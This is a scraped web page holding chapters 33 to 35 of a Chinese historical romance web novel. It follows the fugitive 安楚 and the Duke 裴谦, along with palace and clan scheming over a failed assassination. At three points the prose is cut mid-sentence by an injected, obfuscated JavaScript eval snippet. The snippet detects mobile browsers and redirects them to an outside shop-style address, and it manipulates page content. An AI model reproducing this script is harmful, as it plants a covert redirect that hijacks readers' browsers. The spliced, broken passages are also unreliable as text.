莫非这就是传说中的男人香? 安楚打了个寒噤,心中忍不住想,自己什么时候变得这么恶心。 “那多不好意思,有损国公爷您的清白名声,小人实在过意不去。”她冷哼一声,冷嘲热讽都是顺嘴的事。 裴谦唇角漾起一丝笑意,“那倒也不必拘谨,裴某人心甘情愿,并且甘之如饴。” “来,再睡会儿吧。”裴谦说着便自顾自地合上了眼,昨夜无眠,他也疲惫至极。 山林多有野兽出没,唯恐有夜间觅食的凶兽找上了他们。 加上少女后半夜似受惊吓那般,呢喃着听不清的名字,发抖得厉害。 安楚一开始自然不知道国公爷战战兢兢地守了她一整夜,但她慢慢发现,这人虽举止偶有轻浮,但终归是无伤大雅,不至于有伤风化。 “那我起来——”还没说完,安楚便感觉自己陷入一个柔软温暖的怀抱。 后背抵着他的胸膛,这样暧昧的姿势将她困得动弹不得。 第一次被人这么亲昵地抱在怀里,这滋味陌生极了,丝丝入扣,像缠绕花枝的馥郁香气,散在风中,如影随形,不徐不疾地流动。 “别动……”他语气倦怠,动作也凝滞,如一座被月光照亮的玉雕。 安楚收回方才的好话,男人果然没有一个是好东西。 轻浮,浪荡! 饶是安楚在心里骂了无数次也没什么用,裴谦真心不撒手。 风落在林间很静,轻飘飘的,化成一片清凉落在她的眉间。 她眼珠上下震了震,不安分地左右瞟,最终是让自己越来越困。 地为铺,天为盖。 自由自在,也未尝不是一种乐趣。 在这一瞬,他嗅见发丝间温柔的气息,突然觉得生命同样是沉甸甸的,有人顽强挣扎,有人萎靡不振。 他确实应该活下去。 傍晚,林间一对男女穿梭其中。 窸窸窣窣惊扰树林间栖息的小动物,小松鼠亮出小巧可爱的爪子,蹭蹭两步便爬上了树梢,遥遥观望林间鬼鬼祟祟的二人。 “阿楚……” “再不下山,我们又得在山上过夜。” 裴谦委屈道:“在山上过夜不好么?” 明明在此处境下,国公爷应该是狼狈不堪抱头鼠窜,但他落难如皎皎明月落水,非但没有看到他的窘迫,反而让他更有隐士随心所欲的从容。 安楚回过头,一字一句地往外头蹦:“你觉得哪里好?” 当然是觉得和你在一起很好。 好在国公爷没胆子说出口,这般调戏的言语,阿楚又要嫌弃他轻浮了。 安楚把他带回山脚,那两位老人想必等了她许多天。 扣开门扉,老阿婆看见眼前衣衫褴褛的二人眼前一亮:“你可算回来了!” 她狐疑地打量着姑娘身后的陌生男子,瞬间警惕起来:“这位是?” 莫不是这小妮子真运气好,把私奔的情郎给找回来了? 老阿婆嘴快,举手指着她身后的男人:“他是哪儿来的,噢……我明白了,他是你私奔的情郎。” 安楚面色尴尬,青一阵红一阵。 裴谦倒是饶有兴致地围观着,也期待着安楚的回答。 “他是家里远房的表亲,在郢都做小商户,前几日在官道外遇上了劫匪……被人打劫还受了驱赶,随从都跑光了。我也是在山道上偶然遇见的,他无处可去,只能跟着我回来。”安楚一本正经地解释道。 老阿婆面露难色。 这下不好办了,若是女子孤苦一人,无依无靠,她也好说动,如今算是如意算盘落空了。 这姑娘没察觉或者是不计较就好——一想到这儿,老阿婆呼出一口气,毕竟是亏心事,还好还没对这姑娘动手。 安楚悄悄将老阿婆拉到一边,小声道:“他家里有钱,收留他,阿婆您稳赚不赔,真的!” 老阿婆心中警铃大作:“那你是不是也要跟他走?跟他回城里享福?” 安楚摇了摇头,道:“我们两家隔得远,享福哪能带着我?” “你可千万不能走哇,乖孩子,阿婆家也没亏待你,你好生待在这儿,外面可都是坏人!” “你那个远房表哥,你们也很多年没见了吧,人品如何心性,你一概不知,万一他是骗你回去当小妾当通房,你女儿家家的,如何是好哟。” “……”安楚陷入不知道第多少次沉默。 话说回来,安楚也不是不知道这对老夫妻的算盘,就等着她给自己的女儿解燃眉之急。 可话说穿了就没意思了,安楚只好叹了口气。 “阿婆我总是要走的,和旁人没关系。” 老阿婆几乎是断定这姑娘是攀了高枝:“你就是找了靠山,觉着你这个远房表亲能好吃好喝供着你!” 前几日甭提她有多担心这姑娘不回来了,如今一刻都等不得,生怕小姑娘又不见了。 老阿婆心中悄悄打起了小算盘,不如早些把这姑娘接到女儿的夫家去——总是要去的,早晚的问题罢了,免得夜长梦多。 “草堂有人在么?老太太在家么?” 老阿婆被打断思绪,惊诧回头,门外站着一个年轻女子。 门外风风火火地闯进来一个年轻女子,一身桃红交领长袍,发髻被胭脂色的发绳缀住,神采飞扬,眼角两点飞红,飘逸上挑:“我是冯家的,少夫人脱不开身,命我来接人。” “你这来得巧,姑娘前几日上山采药,这会儿刚回。”老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13988096|148301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿婆眼睛一亮。 冯家便是女儿嫁的人家,虽说这管事她从未见过,但一听这人自报家门,心中便安稳下来了,恨不得一刻都等不了,赶紧想让这姑娘走。 红衣女子笑嘻嘻地上前,这姑娘力气奇大,抓紧了安楚的手:“我就说老伯忽悠我呢,亲生女儿不疼要疼人家的女儿!” “你且听我说,少爷说了,那当官儿的今晚有饭局,在城里的天香楼大摆筵席!好不热闹,正需要人去助兴……少爷说,既然少夫人身子不爽,又有旁的标致女子能随行,便也不再强求,让少夫人好生歇着呢。” 老阿婆一听便松了口气,心想女儿终于能在夫家安稳一段日子。 “天香楼?”安楚一怔。 她现在可是记录在案的逃犯,这不是往死路上走? 虽说那个时候她易容过,但难保不会有人给官府提供画像…… 想着想着,安楚便毫不留情地剜了裴谦一眼。 裴谦颔首,轻咳一声,转头看树上的鸟儿去了。 但是这个节骨眼上,裴谦需要这样的机会。 坐小官家的车乘总比光着人在外头走强,万一又遇上刺客,那他们逃亡几天不全都功亏一篑了? “今晚吗?”安楚问道。 红衣女子含笑,十分满意小姑娘的反应:“自然,都是一些达官显贵,你这辈子都遇不上的贵人,我要先给你换一身衣裳,到时候莫要冲撞了人。” 安楚点了点头:“那我要带他一起去可以吗?” “他?”红衣女子眯了眯眼。 裴谦眼神漫不经地挽起唇角:“你不回来么?怎的听着意思,你是不回来了?” 安楚心道,去陪一群满脑肥肠的官老爷喝酒,还指望她能回来,不知道谁在做梦。 “我回不回来不要紧,但你必须得回去。”安楚可不希望这个麻烦鬼还阴魂不散地缠着她。 她如今也没死,整好能回郢都的宅子里取回那把安伯留给她的剑。 她一面推着裴谦进门,一面朝红衣女子道:“请姑娘准备两套干净的衣物,换好了我们上路。” “转过去,换上。”安楚拉开简陋的竹屏风,闷的油纸有些泛黄,上面布满大小不一的细纹,烛火微光透过间隙。 “怎的突然这么着急?”裴谦表情淡然,但语气中有一股抑制不住的失落感。 安楚没考虑到那么多,她一门心思想让这位养尊处优的妖孽赶紧回到他该待的地方。 而不是在这儿祸害她。 她已经脱掉了外边那一层脏兮兮的外袍,随手搭在屏风上。 这屏风高度比较尴尬,说不高呢,二人的身影均能遮掩住,高呢,安楚站直正巧能露出大半个头。 考虑到这一层问题,安楚很有先见之明地让裴谦转过身去。 “我没办法保证你的人身安全,这是个好机会,他们家正巧有事回城里,顺路能捎上你,你不要不识好歹。” 安楚嘴一张就是公事公办的口吻,国公爷很受伤。 “阿楚,你为什么就不能对我稍微和颜悦色一点?好歹我们同生共死过……” 裴谦百思不得其解,微微侧过身,烛光温暖,落到少女裸露的后背上。 她身上的肤色不似寻常审美中那般,白皙透亮,如玉如瓷,流转着有温度的蜜色。 那是有力量感的一抹亮色,胸前半遮半掩,似绵延的山峰。 “再看真的会剜了你的眼睛。”安楚冷静警告。 口吻冷淡,令人绝望的口气好像要淅淅沥沥掉下一些冰碴。 裴谦本身就不是有意的,但一听安楚的话反而生了反骨。 “哦?”他质疑道。 33. 未嫁良人 安楚嗤之以鼻,如无其事地调整角度,将粗麻衣披到身上:“我竟不知道,国公爷趁人之危很有一套。” 烛光摇晃,人影黯淡。 摇曳在风中,足够窥见少女蓬勃的气息。 少女微微抬着下巴,动作舒展自然。 裴谦目光只落在自己面前的分寸地,眼波明亮安静:“我也不知,阿楚牙尖嘴利同样很有一套。” 安楚假惺惺道:“牙尖嘴利无伤大雅,但国公爷趁人之危却有伤风化。” 裴谦身上的气息不似从前那般明艳璀璨,“阿楚,你总用君子那一套规束我,可我并非君子。” 安楚敷衍地嗯了一声。 在她心中,君子不君子,其实也没那么重要。 打架不能跟小人打,因为他会出损招。 吵架不能跟君子吵,因为他会很较真。 她抬眼,淡声道:“我管你君不君子,你别往这边瞅就成。” 裴谦对自己的君子行径感到十分后悔。 少女看不出他的欲拒还迎,还是说少女本身就在欲拒还迎。 安楚站起身:“我换好了,您自便。” 她身量不算娇小,纵使这几天颠沛流离,但她从不会 他目光灼灼地看着安楚的背影。 少女不按规矩出牌,将他视作无物。 街上的话本果真是骗人的,哪里有那么多风花雪月。 纵使有,也不会发生在他和她的身上。 裴谦明白了,他不主动这故事便永远不会有下文。 他暗暗下定决心,一定要没收云沧海所有的孤本,尽看这些没用的。 “阿楚,你先别走,我有件事想告诉你。”裴谦捏着朴素无华的腰带,朝她招了招手。 这腰带无任何纹饰,说是腰带还是抬举,说白了就是一根破布条,与他往日那些繁复的腰带大相庭径。 安楚轻一皱眉,半信半疑地越过屏风,接过腰带。 他道:“准备了一场大戏,希望你能别跑得那么快。” 裴谦深知这个女孩,自己没办法挽留——他至今都不知道这姑娘会为什么事、为什么人停留。 安楚反问:“怎么?一回去就能抓到刺伤你的刺客?” 内直裾和外直裾系带已经系好,腰带两端有两根细绳,系起来根本就不复杂。 安楚面无表情,心道这贵人怕是往日被伺候惯了,连腰带都不会系。 裴谦有些心虚:“那倒也不是,是别的事。” “伸手。”安楚环住他的腰身,她凑近了,便嗅到衣裳上闷闷的皂角味儿,辛咸刺鼻。 这味道原本是不大能让人接受的,但国公爷用惯了上等香料,常年累月腌入了味儿。 青檀低沉的木香透出来,像是隐隐藏匿与冰湖底的藻荇,清冷如霜。 可这人穿什么都有将其穿成华贵万金的架势,好似穿上身的不是粗布麻衣,而是流云阁价值千金的大师孤品。 其玉灼灼,遭人艳羡。 腰带绕到裴谦身前,打结,交错系扣。 她指尖灵巧,轻而易举地将腰带绑好。 “回去了自己好生学学吧,连腰带都系不明白,不知道是怎么长这么大的。” 十指不沾阳春水的国公爷散漫道:“这需要我学么?这样的事不需要我做。” 闻言安楚手上的动作一收,将腰带勒紧。 裴谦可怜地闷哼一声。 “你——”他敢怒不敢言,只能委屈地瞅着安楚的一双黑白分明的眼眸,欲言又止。 安楚睨着他,淡定道:“有什么问题?” “没什么……”裴谦嘴角轻牵,若无其事地伸手,轻勾她的下巴。 裴谦的手心有些烫,指节修长如竹,食指和拇指上有浅浅的环痕。 刹那间如温潮涨满心房。 “楚人好细腰,宫中多饿死。”她狡黠如狐,不动声色地躲开,毫不留情地批判。 他的动作极快,饶是她躲避了,也极其短暂地碰到了肌肤。 安楚蹲身在灯光下,那看似坚硬女子,实则拥有万千柔情。 一朵小白花开在山崖上,摇摇欲坠,迎接狂风暴雨。 它在强风中瑟瑟发抖,却顽强地撑开单薄的花瓣,花蕊散发袭人香气。 她锋利,是因为遇强则强。 温润消散在指尖,裴谦怅然若失,“楚王喜欢,那阿楚喜欢吗?” “……”安楚愣了愣,睁大了眼,好像是听到了什么不可思议的话。 “好奇怪,我好像越来越喜欢你了。”裴谦感叹道。 安楚翻了个白眼,颇为嫌弃地将对方的手推开,然后施施然站了起来:“莫名其妙。” 这个世界上怎么会有这么奇怪又随便的人? 莫非自己身上还有什么这家伙值得图谋的? 安楚一千个一百个不放心,心里盘算着,早点如老宅子把剑取走。 毕竟那是她浑身上下最值钱的一样东西了。 不明白,她真的不明白。 撩开布帘,门外的红衣姑娘正嗑着瓜子,抓着一把坐在门口等着。 没有丝毫不耐烦,表情惬意舒畅。 她公事公办,在冯府是小有名气的一等女使,奔走在堂前院后,做事从不拖泥带水,比许多男人都能干。 “小姑娘,收拾收拾还挺标致哈。”红衣女子将安楚细致地打量了一番,上瞅瞅下瞄瞄,表示非常满意。 她将涂满鲜红蔻丹的纤纤玉指勾了勾安楚的下巴:“像一株楚楚可怜的小兰花,瞧了让人生怜生爱。” 安楚并没有反抗,相反她还挺享受女人的撩拨。 这下换做裴谦脸色难看了。 老阿婆给红衣姑娘使眼色:“天色已晚,若是不早些去,晚了怕是回不来了。” 红衣姑娘拍掌一笑:“老太太,您这当我们冯家是什么小门小户,一个姑娘的住处还找不到?定会好吃好喝款待着,你就甭担心!” 安楚的想法很直白,她需要交通车马。 能上路的车马非常重要,郢都进出严格,尤其是车马上路,必须得有官府签发的火票。 这不是一般人能拿到手的,安楚这样的闲杂人等只能投机取巧了。 综上,安楚一点都不介意这个强取豪夺的过程。 它是否纯粹是否合法,这些一律不是她关心的问题。 红衣姑娘嘱托道:“这位公子,出去了莫要多言。” 裴谦摆手,从衣袖里摸出几颗金豆:“多谢搭救,从商多年,除了钱也拿不出什么报答,还望不要嫌弃。” 金豆分给老阿婆跟冯家的女使,这家伙倒也大方,果真舍得花钱的人会办大事。 “麻烦在天香楼里安排一处雅间,家中见我没了音讯,怕也是鸡飞狗跳,况且家中兄弟众多,此番遇险正巧能看清人心险恶,究竟是哪个不要命的想要害我。”裴谦十分上道。 他顺着安楚拟的角色,依葫芦画瓢,所以给自己编织了一段狗血非常的家庭伦理大戏。 听得红衣姑娘和老阿婆一愣一愣的。 末了,两个鬼话连篇的人终于坐上了马车。 安楚舒了一口气,总算能将这个家伙送走了。 她应该不会折返,因为她习惯了在每一个空隙中死里逃生且化险为夷。 裴谦看着她,少女不施粉黛,洁白无瑕如环如珮,又如一串清脆悦耳的银铛。 她只管坐在那儿,便有无数鲜活的生命力油然而生。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13988097|148301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >马车缓缓走远,穿进林间的小道,车轱辘轧平泥地,留下半掌宽的车辕。 老头儿捶胸顿足,颤颤巍巍地杵着拐杖跑出门:“哎呦,老婆子,你……你怎么能把这个姑娘送走!她说不定能治好咱闺女的病。” “早些年叫你教闺女学学医术,你这个老东西倒好,说什么反正是个姑娘家,到时候总要嫁出去!学了也没啥用,怎么,现在瞧着别人家的闺女,你眼馋了不是?”老阿婆叉着腰,气势汹汹地戳着老头儿的脑门。 当年他家里只生了一个女儿,虽是疼爱,但他们也未曾教过她立足的本事。 身边所有的人都说,女儿而已,没必要。 以后嫁出去了是别人家的。 这世道对女子甚是残忍,这是无需宣之于口的秘密。 他们只想着,待女儿好,便娇养着,往后嫁了人总要吃些苦头,不如就在嫁人前好好宠着。 他们从未想过让自家姑娘有能力自保,在这个世道中立足。 狭隘的思想愿望中,他们觉得攀高枝便是女子最好的归宿。 老头儿老太太神色悲戚,目送马车远去。 “你可能不知道,我以前总听母亲讲一个潸然泪下的爱情故事。” “京畿冯家的少爷娶了一个平民女子为妻,传闻中的少年夫妻琴瑟和鸣,恩爱非常。 可依我看,事实未必如此。 所嫁非良人,女子的一辈子就完了。”安楚平静地叙述着这个故事,以旁观者不同的角度阐述这事情的原委。 一个攀高枝的平民女孩,攀上了过气的官宦之家,足以令人传颂歌唱那虚无缥缈的爱情。 说来也巧,这是荆岫云讲与她听过的故事,可谓是可歌可泣,感人至深。 爱情不分门第,哪怕是平民姑娘也能找到执手偕老的公子。 以安楚近些天的打听,不难知道那位姑娘处境如何之艰难。 夫家嫌她出身低,丈夫是个爱花天酒地的绣花枕头。 她管着家,日日操劳,身子垮了,久久未有身孕,夫家的婆婆一面嫌弃她,还一面差事她做这做那。 可不会有人承认,也不会有人相信。 她的光鲜亮丽永远是真实的,其他的并不重要。 哪怕是笼中金丝雀,那也是她应该付出的代价。 那位素未谋面的姑娘已嫁做人妻,她的爹娘以他们自己的方式付出着爱。 安楚有点想笑,她在笑自己成了牺牲品,又在笑父母之爱竟会如此浅短。 裴谦静静地聆听着,他眼中的少女一举一动,均是他心坎上漫出的一朵朵小花。 他大概明白了他们之间若即若离的错觉,或许来源于天生的不信任。 除了她自己,她谁也不会信。 裴谦这一刻甚至感到欣慰,他不管她是否能做个好人,只希望她自己不要受到伤害,这便足矣。 他说:“女子多为不易,世道如此。” 安楚抬眸,却不言语。 那样的眼神,滚烫如焰,心潮快要涌出肺腑,热血在全身澎湃,她沉默,心却不沉默。 她在不舍,在不甘,在挣扎。 好似有什么东西破土而出。 “事在人为,世道不该如此。”她认真地对裴谦说道。 如此的天方夜谭,但裴谦却点了点头。 认可,亦或是敷衍,安楚都不会介意。 “接下来一步,你想做些什么?”裴谦的口吻像一个不在行的考官。 安楚掰着手指头,一样样算给他看:“先与你好好告个别,然后……再次从天香楼脱身,不然我还能做什么?” “……”裴谦不知道自己是魅力不如当年了还是怎么的,他的心上人居然一门心思想与他告别! 34.风雨满楼(1) 长春殿前,小小的身影,缩作一团,长街上阳光万里,正好落在她的身后。 长裙拖曳,似一尾亮丽灵巧的鱼。 少女衣着华贵,朱樱的长裾上一大片花团锦簇,簇拥着娇嫩欲滴的大瓣海棠。 肆意生长的花,缠绕着她,捆住她的双腿,如鲜艳诱人的毒药,光明正大地亲吻着她的身躯。 将她越拖越远,直至落入深渊。 深宫之中,危机四伏。 伤痕是隐晦的,不能宣之于口的。于是一片乌云笼罩在万千华光的宫闱上空,下边却暗波汹涌。 稍不留意便会遭到上位者的发难,吃尽各种苦头。 “宣贵妃,我罚你,你可知自己错在哪里。” 乐皇后站在那那玉阶高处,背后是高耸的宫殿,斗拱飞檐,壮观无比。 她身穿明黄牡丹宫服,妆面庄严素净,威严不允侵犯。 只是由于年龄稍长,加上近些年掌管六宫,催生了些许法令纹。 宣贵妃跪拜起身:“皇后娘娘臣妾不知。” 乐皇后冷笑,将手里的帕子扔下玉阶:“恃宠而骄也就罢了,现在还学会了嘴硬。莫要以为你是本宫的外甥女,本宫就会由着你胡来。” “宫规森严,你居然敢私会皇子,皇上若是知道,不知道会作何想法。” 宣贵妃一板一眼,义正言辞道:“臣妾从未逾越。” “哦?”皇后娘娘脸上的笑容越发明媚,她慢条斯理地打量着跪在地上的少女,心中蔓延翻江倒海的醋意,“那言外之意,你宣贵妃身在后宫,居然还与外臣勾结,皇帝现在身子不好,莫不是你一个妃嫔还想着跟皇子打理好关系,来日登上大宝,连你一同册封。乐玉檀,你有几个脑袋?” 贵妃贴身侍女岚嫣跪在一旁,不停地磕着头:“皇后娘娘,娘娘她绝无这样大逆不道的心思,再者贵妃娘娘已有身孕,太医说娘娘的身子本身就弱,经不起折腾……” 身孕。 这个字眼格外刻毒。 乐皇后嫣然一笑,由这一笑足可窥见她年轻时倾国倾城的样貌,她身旁的姑姑一脚踢开岚嫣。 岚嫣心窝子受了一脚,眼泪都掉出来了。 既是疼痛又是委屈,百感交集,眼泪竟是一点也控制不住。 宣贵妃意欲阻拦,但她这会儿也自身难保,她深深地跪拜一礼:“婢女无罪,皇后娘娘息怒。” 皇后拂袖:“本宫才是六宫之主,玉檀。别以为你进了宫,有皇帝庇佑,你就能高枕无忧了,记住你自个儿的身份,闲来无事的时候多想想你是怎么进宫的,你进宫是为了什么。” “皇后娘娘圣明。”宣贵妃额头生出许多细腻的汗珠。 背脊在颤抖,心胸中一片翻江倒海。 每做出一个动作,就像是一架腐朽的织布机发出吱呀吱呀的杂音。 “那你便跪满两个时辰吧。” 皇后轻飘飘地抛下这句话,受着无数宫女太监的簇拥,扬长而去。 只余下冰冷石砖上罚跪的少女,她嘴唇微微发白,下唇有些颤抖。 她强咬着牙关,不让自己落泪。 “娘娘,您何时受过这样的苦……”岚嫣跪在主子身旁,声泪俱下。 人为刀俎我为鱼肉。 她绝不能坐以待毙下去。 宣贵妃勉强笑着,纤纤十指抓紧了盖在大腿上的衣裙,布料柔软丝滑,是价值千金一匹的牵丝锦。 这一身还是皇上赏赐给她的,六宫之中唯独她得了这么一件锦衣。 她还记得那一晚,皇帝听闻她诊出喜脉的不可置信,以及那双失望的眼睛。 他什么也没说,只是让她好好养胎。 小阁楼,吹西风。 晚霞如烟,衔接天地。 郢都城中,官道两边树木繁茂,商贩吆喝声熙熙攘攘。 酒楼之上,年轻男人孤身一人,面前炉火烧得旺,壶里装着花香浓郁的清酒。 安生日子没过多久,这样的平静便被打破了。 王策云端着酒杯,望着来人,默默叹了口气。 王隐脸色惨淡,一派愁云不展,眼下火烧屁股,侄子却在这儿赏景听曲儿喝酒。 他解了披风,顺手挂在金兽吞日的木架上:“派出的都是王家最好的杀手,为了一个裴谦,还要砸进去多少人?我也是……我也是,于心不忍。” 王策云品酌一口清酒,花香果香浓郁,一口下去心情似乎也好了不少,他道:“小叔叔,当初是你要杀他的,正所谓斩草除根,既然已经派出去了那么多顶尖杀手,也不差后边儿的一两个。” 王隐拍着栏杆,低声道:“那是一两个么,王家好不容易养的死侍,你就这么糟践……你不把人当人呐!再说了,那不是还有从罪臣荆家抄过来的人么,用他们就好了,你怎的这么糊涂。” 小叔叔表示心疼,他痛心疾首,既要又要的行为让王策云十分难为。 荆家的人,皇帝那边盯得紧,但凡有什么风吹草动,别家的耳目都一清二楚。 刺杀裴谦的事与王家不能沾上关系,若是那小子死了,那便更不能跟王家沾上关系。 王策云向来果断,不会轻易留下自己的把柄。 死人不会说话,只有死了才不会泄密。 若是把自己的软肋公之于人,那便会处处受制于人。 只有傻子才会留自己的软肋,所以知道秘密的人都得死。 按照常理,王策云纵使受到小叔叔的阻拦,也必回有自己的手段将裴谦赶尽杀绝。 但王隐此时只想着自己脱身,既想要裴谦一命呜呼,又想让自己的侄子背黑锅。 自己倒是两手空空,独坐钓鱼台。 一想到这儿,王策云觉得十分无趣,内心深处甚至生出了丝缕不满。 他见怪不怪,尽管心中憋着一股气,但语气舒缓,如云舒云散,杀人放火在他这儿好似是稀松寻常的事:“那叔叔是什么意思?要留着那些人,知道你我要索楚国公裴谦的命。裴谦是老派皇族的人,要是有人想趁机发难,王家一旦被卷入,又要大伤元气。” “再说了,小叔叔,当初是你提出要杀裴谦的,我又不是没按照你的命令去做。至于追捕,您出手阻拦,我也没理由固执己见。” 年轻男人玉树临风,在酒楼高处挨着窗与栏杆,他似乎是怕冷,暮春时节还披着带着毛茸团领的狐皮大氅。 他眉眼低垂,懒得再开口,静如水墨丹青的画,眉眼浓艳如潋滟西湖景。 王隐看着他好不乐哉地品酒,心中有些隐隐不快:“当初阻拦你,无非是不想让你再动黑鸱军,那是你父亲留给你的,我不能眼睁睁看着你全糟蹋了。” 王策云嗤笑:“如今算是好了,没糟蹋。” 他语气平淡,却不乏阴阳怪气的成分。 此刻,他不愿继续与王隐聊着死气沉沉的话题。 王隐脸色极其难看,多半也是看出来这个侄子越来越不好摆布。 他起初预算着,这小子按照以往的行事风格,定会私底下自己处理了,此番他只需装毫不知情,一切皆大欢喜。 纵使日后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14020443|148301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东窗事发,他王隐可不是痛下杀手的人,谁出手谁便是替罪羊。 千算万算,王隐以为自己已经十分了解这个侄子了,没想到王策云此次居然真的一动也不动,果真是失策了。 王策云轻笑,语气如温风细雨:“叔叔这会儿可还有事?” 王隐气愤,却又不得不耐着性子不敢发作,只得冷哼一声,拂袖而去。 近些日子精神欠佳,尽是一些琐碎事儿拖拽着。 今日是族里第六七房的儿子在酒楼里喝多了闹事,明日是不成气候的老伯伯妄议国事。 前些日子,他做了一手好局,将荆家的兵权瓜分瓦解。 顺带收拾了父亲在外头生下的碍眼私生子。 王策云总有一天会变成孤家寡人,不是他力不从心,而是他打心底觉得这个曾经显赫的家族后劲不足。 他作为王家后辈里唯一的话事人,不得不承担起众多责任。 但很明显,这不是他一个人能操心来的,王策云不得不面对王家从显赫世家逐步被排挤到边缘的现实。 珠帘轻响,帘外微风阵阵,卷入一阵熟悉的薄荷清香。 来人如冠玉,在夕阳的暖光中映照出轮廓,随着步伐的接近,人影越发清晰明朗。 “楚国公那边怎么办?他没死,回来了定不会善罢甘休。” “崔小公子,偷听别人说话可不是什么好习惯。” 王策云眼底微微透出一股凉意:“没死便没死,若是裴谦真死了,接下来的郢都,还能有什么意思?” 崔世境跪坐在他跟前,熟稔地替自己到了一杯酒。 酒盏小巧,玲珑剔透,均是热水烫过的,手掌盈盈一握,热气四溢。 王策云问:“你不是去乌金游历了么,这么快就回来了?” 崔世境眯眼,乌黑的眼珠微微低垂,像一只伺候舒服了的猫:“路上出了点意外,还没进关随从就被突然冒出来的刺客杀光了,最后只剩下我跟对面领头儿的。” “哦?” 崔世境伸手比划了一下:“我顺手把那个胆大包天的刺客卖给做奴隶生意的。那些人牙子老板开心得不行,然后换了点钱包了个马车,我这辈子都没坐过这么差劲的车乘!” 王策云笑了起来:“崔玉你诓骗人家金枝玉叶的小公主,不杀你难以泄愤。” “不是,谁诓骗谁,我才是受害者,凭什么要我娶那个蛮人公主——我父亲越发老糊涂了,前段时间干了那样的晦气事也就罢了,还劝着我娶人家乌金的公主。”崔世境冷着脸,面无表情地咬了一口糕饼,“他也不想想,什么人才有资格和外藩公主联姻。” 崔家在此次腥风血雨地清理行动中有着推波助澜的作用,不容忽视。 多亏了崔家力谏,皇帝才抓紧了机会,将郢都的官场血洗一通。 没人敢说皇帝的不是,崔家便成了众矢之的。 崔家也不好受,在裴谦手上丢了天香楼不说,近些年培养的人脉全被连根拔起,这下在朝堂中快要举目无亲了。 王策云乌发垂落,落在背后身前,坐在此处像水墨画中的神迹,他淡声道:“兴许陛下也是故意借机打压乌金。” 崔世境扬眉:“偏偏瞧上了我们崔家?” 王策云闷笑:“我猜猜,你说你把人家刺客的头目换了银子,如果猜的不错,你口中的头目,应该就是乌金国某一位王子吧。” “我管他是谁呢。”崔世境挑眉冷哼一声,脸上飞扬的神色如箭矢破云,锐不可当,“算他运气好,留了他一条性命,还想要我怎样?” 35.风雨满楼(2) 马车缓缓驶入城,安楚恍若隔世。 沿街熟悉的街景,还有热闹的叫卖声不绝于耳。 日子一朝一夕间变成了这样,安楚轻轻皱眉,怀念起不久前安逸闲散的日子。 那个时候虽在荆府不受待见,可也不至于无处可去。 得过且过,安楚有些茫然。 裴谦留意到她脸上的落寞,半真半假感慨道:“流离失所的小姑娘像是过了大半辈子吧,不如回了郢都来我这儿,就跟着本公……” 公爷两字未说出口,裴谦的唇被对方纤细的食指抵住。 安楚看着他,颇为幸灾乐祸:“公公还是别操心我的事,您管好自个儿就好。” 裴谦嘴唇动了动,不易察觉地挽起一丝弧度。 公爷,公公,一字之差,这意思可却是天差地别。 马车狭窄,两人堪堪地面对着坐,动作不易施展,稍不留意,膝盖便会撞到一起。 早已过了少年人脸皮薄的时候,裴谦却感觉自己的脸反常发烫。 他双眸灵动如含春水,望着对面的少女,小心翼翼地往角落里瑟缩着,有心减少肢体接触。 裴谦不动声色地闷吸一口气,冷气吸进鼻腔,在喉间心肺里逐渐滚烫。 新鲜感,爱慕,喜爱,裴谦分辨不来对她的情感。 嬉皮笑脸的,冷漠的,视作无物的,裴谦只需要看着她待在眼前,心满意足的滋味便会充盈心房。 “公公?”红衣女子似乎明白了点什么,心中立马有了些猜测,“就知道你不是什么做生意的,你那样的谎话,骗骗老人家也就罢了,我可一个字都不信。” 安楚讪笑:“姐姐聪慧,其实他也是害怕给姐姐惹事。” 红衣女子扯了扯嘴角,道:“怕惹事?那不也是跟着咱们一块儿上了车。还以为他真是你的情郎,一并带过来,好歹你一个姑娘家,能有个伴。没想到是个腌货,白瞎了老娘的一番心思。” 怪不得这个男人落难于此,没准是宫里头大人物博弈的牺牲品。 遇上她算是运气好罢,还能将他带回郢都,宫里面稍微有头有脸的太监在郢都定有私宅和黄金细软,看这家伙出手阔绰的样儿,要是没有性命之忧,后半辈子怕是再也不用朝九晚五入宫当值了。 一想到这儿,红衣女子后槽牙都快要碎了。 闲散好啊,不用当值好啊,属于提前致仕了。 裴谦也懒得反驳,他已经沉浸在自己的世界里无法自拔——怎么样才能理所应当地将她留下来呢。 唉,要她负责肯定是不行的,她最不吃这一套。 强取豪夺?直接绑起来带回国公府?显然也行不通。 真是折煞死人了。 红衣女子嘱咐道:“兰花姑娘,我事先告诉你一些事,你要记住了,今晚的那些贵客,你千万不要得罪了。我只是负责接送,并不掺和筵席上的事,天香楼本身就是风月场所,你不要逗留,我会叫小厮把你的酒水换成茶,你喝两杯就下来。” 